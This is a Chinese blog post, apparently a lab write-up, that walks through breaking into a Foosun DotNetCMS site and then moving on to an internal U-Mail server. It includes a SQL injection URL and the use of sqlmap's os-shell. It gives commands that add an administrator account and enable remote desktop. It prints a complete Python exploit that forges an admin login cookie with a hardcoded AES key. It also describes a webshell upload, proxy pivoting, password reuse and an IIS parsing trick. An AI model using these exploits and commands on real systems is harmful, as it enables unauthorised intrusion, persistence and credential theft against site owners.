记录一次【模仿真实环境】的内网漫游

 

 

 

一阶段、

信息收集

通过NMAP进行端口扫描 发现网站开放了80,443,700,8080端口

80端口下存在web服务 :Foosun DotNetCMS 2.0  网站为IIS搭建的aspx站  服务器操作系统为win2008

8080端口下存在路由登录界面

 

二、web渗透、

浏览网站发现网站使用了FoosunCMS

 

寻找相关漏洞

www.text.com/user/City_ajax.aspx?CityId=1

处存在sql注入

 

 

http://192.168.31.55/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,U

serNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin

 

 

Table: fs_sys_admin

 

[1 entry]

 

+--------------+

 

| UserNum      |

 

+--------------+

 

| 327142054961 |

 

+--------------+

 

这里只跑出来了一个uerrnumber没有我们想要的后台账号和密码

但是发现这个注入又写入权限

不过   并不知道绝对路径

然后我们利用--os-shell发现交互了一个shell并且是系统权限

 

开启3389 并建立一个用户成功了

并且我们获得权限的主机IP为192.168.1.123

网关为192.168.1.1

 

 

 

 

net user szg 123456 /add & net localgroup administrators szg /add

 

 

 

 

 

 

 

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

 

 

 

 

 

 

 

 接下来我们利用网上爆出的漏洞利用该usernum生成一个cookie

脚本如下:

#coding:utf-8
import argparse
import urllib
import traceback
import base64
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
###############################
##search keyword: ##
##inurl:/manage/Login.aspx ##
###############################
KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'
IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")
return parser.parse_args()
def run(url):
try:
usernumber = get_usernumber(url)
if usernumber is not None:
encrypt_cookie = generate_cookie(usernumber)
#写入cookie中
write_cookie(url, encrypt_cookie)
except Exception:
traceback.print_exc()
def get_usernumber(url):
fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"
content = urllib.urlopen(fullurl).read()
index = content.index("<option value=\"")
if index != -1:
usernumber = content[index+15:]
usernumber = usernumber[0: content.index("\"")+1]
print "Get usernumber success. Usernumber is :", usernumber
return usernumber
else:
print "Get usernumber fail"
return None
def pkcs7padding(data):
bs = AES.block_size
padding = bs - len(data) % bs
padding_text = chr(padding) * padding
return data + padding_text
def generate_cookie(usernumber):
orgstr = "%s,admin,0,1,False"%(usernumber,)
cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
ciphertext = base64.b64encode(ciphertext)
return ciphertext
def write_cookie(url, ciphercookie):
print "Generate Cookie[SITEINFO]:", ciphercookie
print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)
if __name__ == '__main__':
args = parse_args()
try:
if args.url is not None:
run(args.url[0])
except Exception, e:
print "python Foosun_exp.py -u [url]"

 ###这里python运行该脚本需要加载一个模块忘了叫啥了提示的时候百度一下那个名字然后 pip  install  

接下来利用谷歌浏览器的

EditThisCookie插件利用该cookie登陆后台

成功登陆到后台

 

 

 

上传一句话之后发现链接上了一句话显示200却没有回显

 

但是利用reGeorg挂了个代理成功了

 

 

这时候我们拿到了代理权限并且添加了管理员账户(这里具体请看我的另一篇文章https://www.cnblogs.com/xiaoyunxiaogang/p/10939485.html)

这时候就可以连接3389了

在远程连接的主机192.168.1.123中

翻到了管理员记录的密码

 

 

接下来利用获得的密码试着登陆8080端口一下发现限制了IP

利用代理继续登陆

 

 挂代理之后成功登陆

 

三、内网漫游、

 

这里我们在路由中发现了另一个网段

 

 

如果没有进行Vlan的划分那么我们的192.168.1.123就可以ping通172.19.23.123

接下来扫描端口并访问172.19.23.123下的网站

 

 

 

利用之前3389连接远程珠桌面获得的密码进行登陆

 

 

同样利用u-mail的漏洞进行渗透

该漏洞的上传路径为http://172.19.23.123/webmail/client/cache/userid/重命名序号

 

 

http://172.19.23.123/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=xgk

 

构造上传页面调用上传接口

 

 

 

 

 利用iis的解析漏洞+/1.php访问(????不是ngix解析漏洞吗??  不 !IIS也可以)

http://172.19.23.123/webmail/client/cache/3/15598087978.jpg/1.php

 

 

 

posted @ 2019-06-09 20:05 那酒不要留 阅读(...) 评论(...) 编辑 收藏